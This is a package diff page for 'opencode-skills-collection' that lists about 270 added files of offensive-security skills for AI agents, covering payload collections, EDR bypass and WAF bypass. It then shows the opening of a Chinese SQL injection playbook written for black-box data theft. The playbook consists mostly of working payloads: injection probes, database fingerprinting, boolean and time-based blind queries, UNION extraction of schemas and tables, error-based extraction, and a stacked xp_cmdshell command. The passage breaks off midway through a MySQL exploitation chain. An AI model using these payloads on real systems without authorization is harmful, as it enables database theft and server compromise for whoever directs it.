opencode-skills-collection 4.0.43 → 4.0.45

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (270) hide show
  1. package/bundled-skills/.antigravity-install-manifest.json +47 -1
  2. package/bundled-skills/api-rate-limit-handler/SKILL.md +282 -0
  3. package/bundled-skills/api-security/SKILL.md +205 -0
  4. package/bundled-skills/api-security/references/jwt-oauth-testing.md +123 -0
  5. package/bundled-skills/api-security/references/rest-graphql-testing.md +137 -0
  6. package/bundled-skills/apk-reverse/SKILL.md +438 -0
  7. package/bundled-skills/apk-reverse/references/android-advanced.md +365 -0
  8. package/bundled-skills/apk-reverse/references/apk-security-checklist.md +230 -0
  9. package/bundled-skills/apk-reverse/references/frida-bypass-kit.md +70 -0
  10. package/bundled-skills/apk-reverse/references/frida-cookbook.md +472 -0
  11. package/bundled-skills/attack-chain/SKILL.md +185 -0
  12. package/bundled-skills/attack-chain/references/attack-playbooks.md +126 -0
  13. package/bundled-skills/attack-chain/references/evasion-cheatsheet.md +133 -0
  14. package/bundled-skills/attack-chain/references/lifecycle-checklist.md +37 -0
  15. package/bundled-skills/attack-chain/references/phases.md +490 -0
  16. package/bundled-skills/binary-diff/SKILL.md +320 -0
  17. package/bundled-skills/binary-diff/references/prompt-template.md +173 -0
  18. package/bundled-skills/browser-extension-reverse/SKILL.md +99 -0
  19. package/bundled-skills/browser-extension-reverse/references/extension-analysis.md +10 -0
  20. package/bundled-skills/case-review/SKILL.md +167 -0
  21. package/bundled-skills/cloud-k8s/SKILL.md +124 -0
  22. package/bundled-skills/cloud-k8s/references/k8s-cloud-checklist.md +16 -0
  23. package/bundled-skills/code-audit/SKILL.md +92 -0
  24. package/bundled-skills/code-audit/references/sast-review-checklist.md +10 -0
  25. package/bundled-skills/database-security/SKILL.md +81 -0
  26. package/bundled-skills/database-security/references/db-misconfig-checklist.md +9 -0
  27. package/bundled-skills/diagram-generator/SKILL.md +199 -0
  28. package/bundled-skills/diagram-generator/references/README.md +3 -0
  29. package/bundled-skills/diagram-generator/references/diagram-patterns.md +254 -0
  30. package/bundled-skills/digital-forensics/SKILL.md +93 -0
  31. package/bundled-skills/digital-forensics/references/forensics-triage.md +10 -0
  32. package/bundled-skills/docs/integrations/jetski-cortex.md +3 -3
  33. package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md +1 -1
  34. package/bundled-skills/docs/maintainers/repo-growth-seo.md +1 -1
  35. package/bundled-skills/docs/maintainers/skills-update-guide.md +1 -1
  36. package/bundled-skills/docs/sources/sources.md +9 -0
  37. package/bundled-skills/docs/users/aas-core.md +1 -1
  38. package/bundled-skills/docs/users/bundles.md +1 -1
  39. package/bundled-skills/docs/users/claude-code-skills.md +1 -1
  40. package/bundled-skills/docs/users/gemini-cli-skills.md +1 -1
  41. package/bundled-skills/docs/users/kiro-integration.md +1 -1
  42. package/bundled-skills/docs/users/usage.md +3 -3
  43. package/bundled-skills/docs/users/visual-guide.md +4 -4
  44. package/bundled-skills/docs-generator/SKILL.md +197 -0
  45. package/bundled-skills/docs-generator/references/security-report-templates.md +348 -0
  46. package/bundled-skills/docs-generator/references/templates.md +102 -0
  47. package/bundled-skills/docs-generator/references/vendor-report-rules.md +263 -0
  48. package/bundled-skills/dotnet-reverse/SKILL.md +197 -0
  49. package/bundled-skills/dotnet-reverse/references/common-workflow.md +171 -0
  50. package/bundled-skills/dotnet-reverse/references/obfuscators.md +145 -0
  51. package/bundled-skills/dotnet-reverse/references/sharp-tools.md +164 -0
  52. package/bundled-skills/edr-bypass-re/SKILL.md +248 -0
  53. package/bundled-skills/edr-bypass-re/references/hook-survey.md +226 -0
  54. package/bundled-skills/edr-bypass-re/references/telemetry-blinding.md +346 -0
  55. package/bundled-skills/edr-bypass-re/references/unhook-techniques.md +338 -0
  56. package/bundled-skills/email-security/SKILL.md +81 -0
  57. package/bundled-skills/email-security/references/email-auth-checklist.md +8 -0
  58. package/bundled-skills/firmware-pentest/SKILL.md +381 -0
  59. package/bundled-skills/firmware-pentest/references/emba-automated-analysis.md +192 -0
  60. package/bundled-skills/firmware-pentest/references/emulation-and-fuzz.md +337 -0
  61. package/bundled-skills/firmware-pentest/references/extraction-methodology.md +285 -0
  62. package/bundled-skills/ghidra-reverse/SKILL.md +98 -0
  63. package/bundled-skills/ghidra-reverse/references/ghidra-cheatsheet.md +12 -0
  64. package/bundled-skills/go-rust-reverse/SKILL.md +82 -0
  65. package/bundled-skills/go-rust-reverse/references/go-rust-notes.md +5 -0
  66. package/bundled-skills/hardware-security/SKILL.md +80 -0
  67. package/bundled-skills/hardware-security/references/debug-interface-triage.md +7 -0
  68. package/bundled-skills/ida-reverse/SKILL.md +401 -0
  69. package/bundled-skills/ida-reverse/references/LOCAL-SETUP.md +66 -0
  70. package/bundled-skills/ida-reverse/references/ida-mcp-cheatsheet.md +515 -0
  71. package/bundled-skills/identity-federation/SKILL.md +81 -0
  72. package/bundled-skills/identity-federation/references/sso-flow-checklist.md +9 -0
  73. package/bundled-skills/instructree/SKILL.md +94 -0
  74. package/bundled-skills/js-reverse/SKILL.md +239 -0
  75. package/bundled-skills/js-reverse/references/ast-deobfuscation.md +3 -0
  76. package/bundled-skills/js-reverse/references/automation-entry.md +12 -0
  77. package/bundled-skills/js-reverse/references/env-patching.md +6 -0
  78. package/bundled-skills/js-reverse/references/fallbacks.md +8 -0
  79. package/bundled-skills/js-reverse/references/instrumentation.md +9 -0
  80. package/bundled-skills/js-reverse/references/local-rebuild.md +11 -0
  81. package/bundled-skills/js-reverse/references/mcp-task-template.md +30 -0
  82. package/bundled-skills/js-reverse/references/node-env-rebuild.md +9 -0
  83. package/bundled-skills/js-reverse/references/output-contract.md +9 -0
  84. package/bundled-skills/js-reverse/references/task-artifacts.md +11 -0
  85. package/bundled-skills/js-reverse/references/task-input-template.md +11 -0
  86. package/bundled-skills/js-reverse/references/tool-defaults.md +7 -0
  87. package/bundled-skills/llm-security/SKILL.md +160 -0
  88. package/bundled-skills/llm-security/references/agent-obedience-engineering.md +243 -0
  89. package/bundled-skills/llm-security/references/agent-security-testing.md +116 -0
  90. package/bundled-skills/llm-security/references/owasp-llm-top10.md +48 -0
  91. package/bundled-skills/llm-security/references/prompt-injection-methodology.md +107 -0
  92. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package-lock.json +4 -4
  93. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package.json +1 -1
  94. package/bundled-skills/macos-reverse/SKILL.md +85 -0
  95. package/bundled-skills/macos-reverse/references/macho-triage.md +10 -0
  96. package/bundled-skills/malware-analysis/SKILL.md +311 -0
  97. package/bundled-skills/malware-analysis/references/anti-analysis-techniques.md +205 -0
  98. package/bundled-skills/malware-analysis/references/sandbox-orchestration.md +204 -0
  99. package/bundled-skills/malware-analysis/references/yara-sigma-rules.md +232 -0
  100. package/bundled-skills/mobile-reverse/SKILL.md +222 -0
  101. package/bundled-skills/mobile-reverse/references/anti-detection-bypass.md +182 -0
  102. package/bundled-skills/mobile-reverse/references/frida-objection-deep.md +218 -0
  103. package/bundled-skills/mobile-reverse/references/ios-reverse-guide.md +177 -0
  104. package/bundled-skills/muapi-media/SKILL.md +311 -0
  105. package/bundled-skills/ot-ics/SKILL.md +117 -0
  106. package/bundled-skills/ot-ics/references/ot-safe-assessment.md +10 -0
  107. package/bundled-skills/patch-diff-exploit/SKILL.md +278 -0
  108. package/bundled-skills/patch-diff-exploit/references/diff-tools-comparison.md +271 -0
  109. package/bundled-skills/patch-diff-exploit/references/patch-tuesday-workflow.md +253 -0
  110. package/bundled-skills/patch-diff-exploit/references/root-cause-and-poc.md +198 -0
  111. package/bundled-skills/pentest-tools/SKILL.md +346 -0
  112. package/bundled-skills/pentest-tools/references/ai-pentest-agents.md +148 -0
  113. package/bundled-skills/pentest-tools/references/ai-pentesting-landscape-2026.md +73 -0
  114. package/bundled-skills/pentest-tools/references/automation-loop-pattern.md +153 -0
  115. package/bundled-skills/pentest-tools/references/awesome-pentest-digest.md +175 -0
  116. package/bundled-skills/pentest-tools/references/burpsuite-mcp-guide.md +769 -0
  117. package/bundled-skills/pentest-tools/references/client-side-lab-playbook.md +155 -0
  118. package/bundled-skills/pentest-tools/references/kali-mcp-ecosystem.md +119 -0
  119. package/bundled-skills/pentest-tools/references/msf-protocol.md +169 -0
  120. package/bundled-skills/pentest-tools/references/network-attack-defense.md +350 -0
  121. package/bundled-skills/pentest-tools/references/nuclei-guide-2026.md +157 -0
  122. package/bundled-skills/pentest-tools/references/payloads.md +32 -0
  123. package/bundled-skills/pentest-tools/references/pentest-ai-agents-matrix.md +117 -0
  124. package/bundled-skills/pentest-tools/references/pentest-loop.md +270 -0
  125. package/bundled-skills/pentest-tools/references/recon-pipeline.md +154 -0
  126. package/bundled-skills/pentest-tools/references/templates/findings.md +21 -0
  127. package/bundled-skills/pentest-tools/references/templates/progress.md +17 -0
  128. package/bundled-skills/pentest-tools/references/templates/rules.md +35 -0
  129. package/bundled-skills/pentest-tools/references/templates/scope.md +29 -0
  130. package/bundled-skills/pentest-tools/references/templates/task_plan.md +27 -0
  131. package/bundled-skills/pentest-tools/references/web-attack-cheatsheet.md +387 -0
  132. package/bundled-skills/pentest-tools/src-hunter/SKILL.md +243 -0
  133. package/bundled-skills/pentest-tools/src-hunter/references/README.en.md +115 -0
  134. package/bundled-skills/pentest-tools/src-hunter/references/README.md +148 -0
  135. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/00-index.md +44 -0
  136. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md +515 -0
  137. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md +274 -0
  138. package/bundled-skills/pentest-tools/src-hunter/references/industry/00-index.md +66 -0
  139. package/bundled-skills/pentest-tools/src-hunter/references/industry/banking-finance.md +338 -0
  140. package/bundled-skills/pentest-tools/src-hunter/references/industry/telecom-isp.md +315 -0
  141. package/bundled-skills/pentest-tools/src-hunter/references/methodology/00-index.md +68 -0
  142. package/bundled-skills/pentest-tools/src-hunter/references/methodology/01-attack-priority.md +143 -0
  143. package/bundled-skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md +357 -0
  144. package/bundled-skills/pentest-tools/src-hunter/references/methodology/03-evidence-discipline.md +205 -0
  145. package/bundled-skills/pentest-tools/src-hunter/references/methodology/04-control-gap-hunting.md +238 -0
  146. package/bundled-skills/pentest-tools/src-hunter/references/methodology/05-srctimebox-priority.md +161 -0
  147. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/adcs/346/224/273/345/207/273.md +254 -0
  148. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange/346/224/273/345/207/273.md +254 -0
  149. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint/346/224/273/345/207/273.md +113 -0
  150. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//344/277/241/346/201/257/346/224/266/351/233/206.md +947 -0
  151. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/205/215/346/235/200/344/270/216/350/247/204/351/201/277.md +780 -0
  152. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/207/255/350/257/201/347/252/203/345/217/226.md +1259 -0
  153. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/237/237/346/270/227/351/200/217/346/224/273/345/207/273.md +753 -0
  154. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/346/217/220/345/215/207.md +819 -0
  155. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/347/273/264/346/214/201.md +577 -0
  156. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/250/252/345/220/221/347/247/273/345/212/250.md +838 -0
  157. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//351/232/247/351/201/223/344/273/243/347/220/206.md +604 -0
  158. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ai/345/256/211/345/205/250.md +698 -0
  159. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/api/345/256/211/345/205/250.md +1935 -0
  160. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/csrf/350/267/250/347/253/231/350/257/267/346/261/202/344/274/252/351/200/240.md +952 -0
  161. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/jwt/345/256/211/345/205/250.md +496 -0
  162. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi/346/226/207/344/273/266/345/214/205/345/220/253.md +1365 -0
  163. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce/350/277/234/347/250/213/344/273/243/347/240/201/346/211/247/350/241/214.md +1329 -0
  164. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/sql-nosql/346/263/250/345/205/245.md +1924 -0
  165. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssrf/346/234/215/345/212/241/347/253/257/350/257/267/346/261/202/344/274/252/351/200/240.md +1256 -0
  166. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti/346/250/241/346/235/277/346/263/250/345/205/245.md +1151 -0
  167. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/websocket/345/256/211/345/205/250.md +487 -0
  168. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss/350/267/250/347/253/231/350/204/232/346/234/254.md +1465 -0
  169. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xxe/345/256/236/344/275/223/346/263/250/345/205/245.md +815 -0
  170. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/270/232/345/212/241/351/200/273/350/276/221/346/274/217/346/264/236.md +594 -0
  171. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/272/221/345/256/211/345/205/250/346/274/217/346/264/236.md +561 -0
  172. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/276/233/345/272/224/351/223/276/346/224/273/345/207/273.md +399 -0
  173. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/216/237/345/236/213/351/223/276/346/261/241/346/237/223.md +401 -0
  174. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/274/200/346/224/276/351/207/215/345/256/232/345/220/221.md +396 -0
  175. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/226/207/344/273/266/346/274/217/346/264/236.md +0 -0
  176. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/241/206/346/236/266/346/274/217/346/264/236.md +2304 -0
  177. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/202/271/345/207/273/345/212/253/346/214/201.md +339 -0
  178. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/274/223/345/255/230/344/270/216cdn/345/256/211/345/205/250.md +497 -0
  179. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/256/244/350/257/201/346/274/217/346/264/236.md +1778 -0
  180. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/257/267/346/261/202/350/265/260/347/247/201.md +854 -0
  181. package/bundled-skills/pentest-tools/src-hunter/references/payloader/index.md +69 -0
  182. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/web/346/270/227/351/200/217.md +662 -0
  183. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/windows/346/270/227/351/200/217.md +100 -0
  184. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//344/277/241/346/201/257/346/224/266/351/233/206.md +852 -0
  185. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/206/205/347/275/221/346/270/227/351/200/217.md +873 -0
  186. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/207/255/350/257/201/347/252/203/345/217/226.md +186 -0
  187. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/237/237/346/270/227/351/200/217.md +50 -0
  188. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/257/206/347/240/201/346/224/273/345/207/273.md +462 -0
  189. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/235/203/351/231/220/346/217/220/345/215/207.md +168 -0
  190. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/274/217/346/264/236/345/210/251/347/224/250.md +445 -0
  191. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/263/273/347/273/237/345/221/275/344/273/244.md +410 -0
  192. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/272/242/351/230/237/345/267/245/345/205/267.md +64 -0
  193. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/274/226/347/240/201/350/247/243/347/240/201.md +226 -0
  194. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//351/232/247/351/201/223/344/273/243/347/220/206.md +84 -0
  195. package/bundled-skills/pentest-tools/src-hunter/references/payloader/waf-bypass.md +6504 -0
  196. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/00-index.md +57 -0
  197. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/api-rest.md +2050 -0
  198. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/arbitrary-x-authz.md +481 -0
  199. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/dos.md +615 -0
  200. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/file-upload.md +1365 -0
  201. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/graphql.md +253 -0
  202. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/http-smuggling.md +924 -0
  203. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/info-disclosure.md +432 -0
  204. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/intranet-postexp.md +4845 -0
  205. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md +1394 -0
  206. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/logic-flaws.md +1796 -0
  207. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/mobile.md +397 -0
  208. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/oauth-saml-jwt.md +2504 -0
  209. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md +1297 -0
  210. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/race-conditions.md +207 -0
  211. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/rce.md +4829 -0
  212. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/sqli.md +1620 -0
  213. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md +2098 -0
  214. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/unauth-access.md +330 -0
  215. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/xss.md +1159 -0
  216. package/bundled-skills/pentest-tools/src-hunter/references/templates/report-submission.md +346 -0
  217. package/bundled-skills/pentest-tools/src-hunter/references/tools/mcp-jshook.md +174 -0
  218. package/bundled-skills/protocol-reverse/SKILL.md +108 -0
  219. package/bundled-skills/protocol-reverse/references/protocol-workflow.md +29 -0
  220. package/bundled-skills/pwn-chain/SKILL.md +209 -0
  221. package/bundled-skills/pwn-chain/references/heap-pwn.md +283 -0
  222. package/bundled-skills/pwn-chain/references/kernel-pwn.md +370 -0
  223. package/bundled-skills/pwn-chain/references/stack-pwn.md +312 -0
  224. package/bundled-skills/radare2/SKILL.md +460 -0
  225. package/bundled-skills/radare2/references/cheatsheet.md +129 -0
  226. package/bundled-skills/radio-sdr/SKILL.md +77 -0
  227. package/bundled-skills/radio-sdr/references/sdr-lab-rules.md +6 -0
  228. package/bundled-skills/reverse-browser-automation/SKILL.md +249 -0
  229. package/bundled-skills/reverse-browser-automation/references/playwright-cheatsheet.md +425 -0
  230. package/bundled-skills/reverse-engineering/SKILL.md +213 -0
  231. package/bundled-skills/reverse-engineering/dsl-vm-reverse/SKILL.md +388 -0
  232. package/bundled-skills/reverse-engineering/references/ai-assisted-re.md +149 -0
  233. package/bundled-skills/reverse-engineering/references/anti-analysis.md +836 -0
  234. package/bundled-skills/reverse-engineering/references/awesome-re-resources.md +135 -0
  235. package/bundled-skills/reverse-engineering/references/crypto-decode-tools.md +220 -0
  236. package/bundled-skills/reverse-engineering/references/elf-analysis.md +296 -0
  237. package/bundled-skills/reverse-engineering/references/field-notes.md +540 -0
  238. package/bundled-skills/reverse-engineering/references/go-reverse.md +240 -0
  239. package/bundled-skills/reverse-engineering/references/kernel-driver-reverse.md +298 -0
  240. package/bundled-skills/reverse-engineering/references/languages-compiled.md +587 -0
  241. package/bundled-skills/reverse-engineering/references/languages-platforms.md +486 -0
  242. package/bundled-skills/reverse-engineering/references/languages.md +499 -0
  243. package/bundled-skills/reverse-engineering/references/nonpe-format-cookbook.md +301 -0
  244. package/bundled-skills/reverse-engineering/references/ollvm-deobfuscation.md +501 -0
  245. package/bundled-skills/reverse-engineering/references/patterns-ctf-2.md +397 -0
  246. package/bundled-skills/reverse-engineering/references/patterns-ctf-3.md +719 -0
  247. package/bundled-skills/reverse-engineering/references/patterns-ctf.md +532 -0
  248. package/bundled-skills/reverse-engineering/references/patterns.md +801 -0
  249. package/bundled-skills/reverse-engineering/references/platforms-hardware.md +304 -0
  250. package/bundled-skills/reverse-engineering/references/platforms.md +442 -0
  251. package/bundled-skills/reverse-engineering/references/re-agent-workflow.md +240 -0
  252. package/bundled-skills/reverse-engineering/references/tools-advanced.md +822 -0
  253. package/bundled-skills/reverse-engineering/references/tools-dynamic.md +846 -0
  254. package/bundled-skills/reverse-engineering/references/tools.md +546 -0
  255. package/bundled-skills/supply-chain-security/SKILL.md +180 -0
  256. package/bundled-skills/supply-chain-security/references/cicd-pipeline-security.md +137 -0
  257. package/bundled-skills/supply-chain-security/references/sbom-sca-methodology.md +74 -0
  258. package/bundled-skills/thick-client/SKILL.md +104 -0
  259. package/bundled-skills/thick-client/references/thick-client-checklist.md +9 -0
  260. package/bundled-skills/threat-hunting/SKILL.md +94 -0
  261. package/bundled-skills/threat-hunting/references/hunting-loop.md +5 -0
  262. package/bundled-skills/threat-intelligence/SKILL.md +176 -0
  263. package/bundled-skills/threat-intelligence/references/x-public-intelligence.md +93 -0
  264. package/bundled-skills/tree-ring-memory/SKILL.md +29 -9
  265. package/bundled-skills/wifi-wireless/SKILL.md +80 -0
  266. package/bundled-skills/wifi-wireless/references/wireless-lab-rules.md +6 -0
  267. package/bundled-skills/windows-ad/SKILL.md +109 -0
  268. package/bundled-skills/windows-ad/references/ad-attack-paths.md +12 -0
  269. package/package.json +1 -1
  270. package/skills_index.json +1214 -2
@@ -0,0 +1,1620 @@
1
+ # SQL 注入
2
+
3
+ > 视角:黑盒,目标是从 0 到拿数据 / 拿权限
4
+
5
+ ## 1. 一句话说清
6
+
7
+ SQLi = 把"数据"提升为"SQL 指令"。
8
+ SRC 价值:能拖库或读 admin hash 的 SQLi → P1,DBA 权限或 RCE 升级 → P0。
9
+ WooYun 27,732 案例中,**66% 在登录框、64% 在搜索、60% 在 POST 表单、26% 在 HTTP Header**。
10
+
11
+ ---
12
+
13
+ ## 2. 高频入口点(27,732 案例统计)
14
+
15
+ ### 2.1 高频危险参数名(按频次)
16
+
17
+ ```python
18
+ # 数字型 ID 类(最常见)
19
+ 'id': 56, 'sort_id': 37, 'stid': 32,
20
+ 'fid': 8, 'hotelid': 11, 'areainfoid': 8,
21
+
22
+ # 认证(高危)
23
+ 'username': 33, 'password': 30, 'userpwd': 11,
24
+
25
+ # 业务
26
+ 'type': 18, 'action': 7, 'page': 4,
27
+ 'name': 30,
28
+
29
+ # ASP.NET 特有(.NET 应用必查)
30
+ '__viewstate': 58, '__eventvalidation': 56,
31
+ '__eventargument': 52, '__eventtarget': 41,
32
+ ```
33
+
34
+ ### 2.2 注入向量分布
35
+
36
+ | 向量 | 占比 | 典型 |
37
+ |------|------|------|
38
+ | 登录框 | 66% | 用户名/密码字段拼接 |
39
+ | 搜索框 | 64% | LIKE 模糊匹配 |
40
+ | POST 参数 | 60% | 表单提交 |
41
+ | HTTP Header | 26% | User-Agent / Referer / X-Forwarded-For |
42
+ | GET 参数 | 24% | URL |
43
+ | Cookie | 12% | 会话标识 |
44
+
45
+ ### 2.3 URL 模式
46
+
47
+ ```
48
+ # 列表 / 详情
49
+ /news/detail.php?id=1
50
+ /product/view.aspx?pid=123
51
+ /article.asp?aid=456
52
+
53
+ # 搜索
54
+ /search.php?keyword=test
55
+ /list.aspx?stid=5882&pageid=2
56
+
57
+ # 后台
58
+ /admin/login.aspx
59
+ /manage/user.php?action=edit&uid=1
60
+
61
+ # API
62
+ /api/getData.php?type=user&id=1
63
+ ```
64
+
65
+ ### 2.4 后端类型快表
66
+
67
+ | 后缀 | 数据库 | 报错关键字 |
68
+ |------|--------|----------|
69
+ | `.php` | MySQL | `You have an error in your SQL syntax` |
70
+ | `.aspx` | MSSQL / Oracle | `Unclosed quotation mark` / `Microsoft OLE DB` |
71
+ | `.asp` | Access / MSSQL | `Microsoft JET Database Engine` |
72
+ | `.jsp` / `.do` / `.action` | Oracle / MySQL | `ORA-00942` / SQL exception |
73
+ | 现代 API(JSON) | 任意 ORM | 看响应字段 / 后端框架 |
74
+
75
+ ---
76
+
77
+ ## 3. 探测手法
78
+
79
+ ### 3.1 注入点确认
80
+
81
+ ```sql
82
+ id=1' # 报错?
83
+ id=1"
84
+ id=1)
85
+ id=1;
86
+ id=1--
87
+ id=1#
88
+ id=1 AND 1=1 # 正常
89
+ id=1 AND 1=2 # 异常
90
+ id=1*1 # 数字型用算术
91
+ id=1-0
92
+ id=1 AND sleep(3) # 时间盲探
93
+ ```
94
+
95
+ 观察:
96
+ - 响应内容差异(页面变化)
97
+ - 响应长度差异
98
+ - 响应时间差异(盲注)
99
+ - 错误信息(暴库类型)
100
+
101
+ ### 3.2 数据库指纹
102
+
103
+ ```sql
104
+ -- MySQL
105
+ SELECT version() → 5.7.x / 8.x
106
+ SELECT @@version
107
+ SELECT user(), database()
108
+ AND sleep(5)
109
+ AND benchmark(10000000, sha1('a'))
110
+
111
+ -- MSSQL
112
+ SELECT @@version
113
+ SELECT db_name(), system_user
114
+ WAITFOR DELAY '0:0:5'
115
+
116
+ -- Oracle
117
+ SELECT banner FROM v$version WHERE rownum=1
118
+ SELECT user FROM dual
119
+ AND dbms_pipe.receive_message('a',5)=1
120
+
121
+ -- PostgreSQL
122
+ SELECT version()
123
+ SELECT current_database(), current_user
124
+ SELECT pg_sleep(5)
125
+
126
+ -- SQLite
127
+ SELECT sqlite_version()
128
+
129
+ -- Access
130
+ SELECT TOP 1 1 FROM MSysObjects # 特有,无 #/-- 注释
131
+ ```
132
+
133
+ ### 3.3 各注入技术 payload 模板
134
+
135
+ #### 布尔盲
136
+
137
+ ```
138
+ id=1 AND 1=1
139
+ id=1 AND 1=2
140
+
141
+ id=1' AND '1'='1
142
+ id=1' AND '1'='2
143
+
144
+ id=1 AND ASCII(SUBSTRING((SELECT database()),1,1))>100
145
+ id=1 AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'
146
+
147
+ # RLIKE / REGEXP
148
+ id=8 RLIKE (SELECT (CASE WHEN (7706=7706) THEN 8 ELSE 0x28 END))
149
+ ```
150
+
151
+ #### 时间盲
152
+
153
+ ```
154
+ # MySQL
155
+ id=1 AND sleep(5)
156
+ id=1 AND IF(1=1,sleep(5),0)
157
+ id=(SELECT(CASE WHEN(1=1) THEN SLEEP(5) ELSE 1 END))
158
+
159
+ # 双层延时(绕过单层 sleep 检测)
160
+ id=(select(2)from(select(sleep(8)))v)/*'+(select(0)from(select(sleep(0)))v)+'
161
+
162
+ # MSSQL
163
+ id=1; WAITFOR DELAY '0:0:5'--
164
+
165
+ # Oracle
166
+ id=1 AND dbms_pipe.receive_message('a',5)=1
167
+
168
+ # PostgreSQL
169
+ id=1 AND pg_sleep(5)
170
+ ```
171
+
172
+ #### 联合查询
173
+
174
+ ```
175
+ # 探列数
176
+ id=1 ORDER BY 1-- ... ORDER BY N--(报错时 N-1 为列数)
177
+
178
+ # 联合
179
+ id=-1 UNION SELECT 1,2,3,4,5--
180
+ id=-1 UNION SELECT null,null,null--
181
+
182
+ # 数据
183
+ id=-1 UNION SELECT 1,database(),version(),user(),5--
184
+ id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--
185
+ ```
186
+
187
+ #### 报错注入
188
+
189
+ ```
190
+ # MySQL extractvalue
191
+ id=1 AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e))
192
+
193
+ # MySQL updatexml
194
+ id=1 AND updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
195
+
196
+ # MySQL floor
197
+ id=1 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
198
+
199
+ # MSSQL CONVERT
200
+ id=1 AND 1=CONVERT(INT,(SELECT @@version))
201
+ ```
202
+
203
+ #### 堆叠(MSSQL / PostgreSQL)
204
+
205
+ ```
206
+ id=1; SELECT pg_sleep(5)--
207
+ id=1; EXEC xp_cmdshell 'whoami'--
208
+ ```
209
+
210
+ ### 3.4 完整利用链 Cheatsheet
211
+
212
+ #### MySQL
213
+
214
+ ```sql
215
+ -- Step 1
216
+ union select 1,database(),version(),user(),5--
217
+
218
+ -- Step 2: 全部库
219
+ union select 1,group_concat(schema_name),3 from information_schema.schemata--
220
+
221
+ -- Step 3: 当前库的表
222
